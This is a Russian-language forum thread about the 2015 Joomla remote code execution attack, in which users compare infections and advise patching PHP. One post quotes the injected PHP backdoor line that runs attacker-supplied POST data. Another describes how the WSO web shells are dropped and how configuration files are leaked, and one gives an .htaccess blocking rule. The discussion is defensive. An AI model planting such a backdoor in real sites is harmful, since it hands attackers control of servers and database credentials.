Идея Рассылка спама с вашего сайта - реальность?!

Больше
3 года 7 мес. назад #21 от Aleksej

Arhitektorius пишет: Aleksej, сначала про защиту усиленную на твоём форуме... Писал сообщение, приложил картинку с я диска результат...


Да, я в курсе. Так и задумывалось. Лучше пусть это неудобство, чем мне потом по дирам и файлам рыскать в поисках различных шеллов...

Шут с ней, с картинокй; ну шелл себе и шелл. Суть понятна, а графику к черту. Но картина заражения в данном случае была несколько иной, нежели ты описывал в начале топика; зараженными оказались целый ряд системных файлов, плюс еще несколько файлов Phoca Gallery и Kunena. Все эти файлы получили в самом своем начале следующий фрагмент:

<?php @preg_replace('/(.*)/e', @$_POST['xqzuxcecpfz'], '');

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад #22 от serge
Remote code execution flaw via the user agent string. Вытащил из логов фаера. Отличительным признаком инъекции служит, видимо, обращение к JDatabaseDriverMysqli. Сценарий атаки .

А я смогу! - А поглядим! - А я упрямый!

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад #23 от serge
Используется $_POST.
Переменная $__shell содержит в себе код для генерации файла.
Внутри него с помощью preg_replace генерируется код WSO.
Судя по коду, можно подвести следующий итог:
Ищет все директории с правами на запись.
Создает в них файлы WSO с именами:
одно из sort, conf, utf8, cp1251, backup, cache, reverse, bin, cgi, memcache, sql

+ знак «-»
+ substr(md5(time()), 0, mt_rand(2, 3))
+ «.php»

Модифицирует заголовки:

‘/includes/framework.php’,
‘/includes/defines.php’,
‘/index.php’

добавляя туда WSO.

Выводит web-ссылки на них в текст ответа.
Выводит configuration.php в текст ответа, так что доступы к базе и другая информация скомпрометирована.

Ссылка на источник .

А я смогу! - А поглядим! - А я упрямый!

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад #24 от ralf
Внимание, если нет возможности накатить обновление для движка, вносим в .htaccess эти строчки
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} JDatabaseDriverMysqli? [NC]
RewriteRule .? - [F]


Но это превентивная мера. Если ваш сайт был взломан, то как мертвому припарки.

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад #25 от Arhitektorius

ralf пишет: Внимание, если нет возможности накатить обновление для движка, вносим в .htaccess эти строчки

Хм... Интересно, а в каком случае не бывает возможности накатить новый движок, но при этом есть возможность отредактировать htaccess? Ведь если по каким то причинам не получается обновиться из админки, то всегда можно залить файлы по фтп.
PS Так... чисто гипотетически рассуждал, не принимайте во внимание :whistle:

Моё хобби стало моей проффесией ;)
www.BitFace.ru

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад #26 от Aleksej

Arhitektorius пишет: Интересно, а в каком случае не бывает возможности накатить новый движок, но при этом есть возможность отредактировать htaccess?


Это если старый php 5.3 не дает обновиться до актуальной версии движка. Такое бывает, судя по полученным сообщениям, так что актуально.

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад #27 от Arhitektorius
Ну я так понимаю, что если на серваке отключена функция eval(), то данная угроза не представляет собой угрозы. Ведь изначально shell попадает на сайт именно при помощи этой функции. Как только заставить хостера её отключить...
Кто что думает по этому поводу?

Моё хобби стало моей проффесией ;)
www.BitFace.ru

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 7 мес. назад - 3 года 7 мес. назад #28 от Aleksej
Подробный анализ случившегося - я имею в виду [20151201] - Core - Remote Code Execution Vulnerability - приведен в этой статье . Внимательно пробежав, останавливаемся на фрагменте:

Though, the session_decode uses the same principles and wasn’t fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.


This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!
Advice: Make sure you always use the latest version of your software.



Имеется в виду вот эта самая, уже пофиксенная осенью бага, CVE-2015-6835 . Также рекомендую обратить внимание на блог Remi , "главного по тарелочкам", то есть по php, специалиста проекта Fedora, утверждающего практически то же самое:

PHP version 5.4 have reached its end of life and is no longer maintained by the project. Given the very important number of downloads by the users of my repository (~47%) the version is still available in remi repository for Enterprise Linux (RHEL, CentOS...) and includes the latest security fix. The upgrade to a maintained version is strongly recommended.
These versions are also available as Software Collections.


These versions fix some security bugs, so update is strongly recommended.



Ok, in two words и на русском, резюме: php v.5.4 уже в прошлом, обновляться необходимо срочно.

Да, срочно... но в репах CentOS/RHEL на момент написания этой статьи данные пакеты отсутствуют. Почему - бог весть, не берусь судить. Вероятнее всего, мейнтейнеры считают новый пых сыроватым, или какая-то иная причина. Если кто знает, отпишитесь. А я сейчас просто порекомендую всем, у кого RedHat, не дожидаясь официальных обновлений - спешно обновить php до актуальной версии. Как? - у нас с вами, в общем, два способа: использовать репозитории того же Remi или Webtatic. В принципе, все равно. Решение непростое, все же это неофициальные репы... но выхода нет, разве что собирать и затем мейнтейнить пакеты самому. Ничего такого, в общем, страшного; после выхода официальных релизов можно будет попробовать сменить поставщика пакетов. Подробная и очень простая инструкция приведена в разделе форума. посвященного Linux.
Последнее редактирование: 3 года 7 мес. назад пользователем p.rishard.

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Больше
3 года 6 мес. назад #29 от serge

Aleksej пишет: Имеется в виду вот эта самая, уже пофиксенная осенью бага, CVE-2015-6835. Также рекомендую обратить внимание на блог Remi, "главного по тарелочкам", то есть по php, специалиста проекта Fedora, утверждающего практически то же самое


В яблочко. Сегодняшние события и Joomla team это подтвердили, открытым текстом:

What's in 3.4.7

Version 3.4.7 is released to address two reported security vulnerabilities and includes security hardening of the MySQLi driver to help prevent object injection attacks.
The Joomla Security Strike team has been following up on the critical security vulnerability patched last week. Since the recent update it has become clear that the root cause is a bug in PHP itself. This was fixed by PHP in September of 2015 with the releases of PHP 5.4.45, 5.5.29, 5.6.13 (Note that this is fixed in all versions of PHP 7 and has been back-ported in some specific Linux LTS versions of PHP 5.3). The only Joomla sites affected by this bug are those which are hosted on vulnerable versions of PHP. We are aware that not all hosts keep their PHP installations up to date so we are making this release to deal with this issue on vulnerable PHP versions.


А я смогу! - А поглядим! - А я упрямый!

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.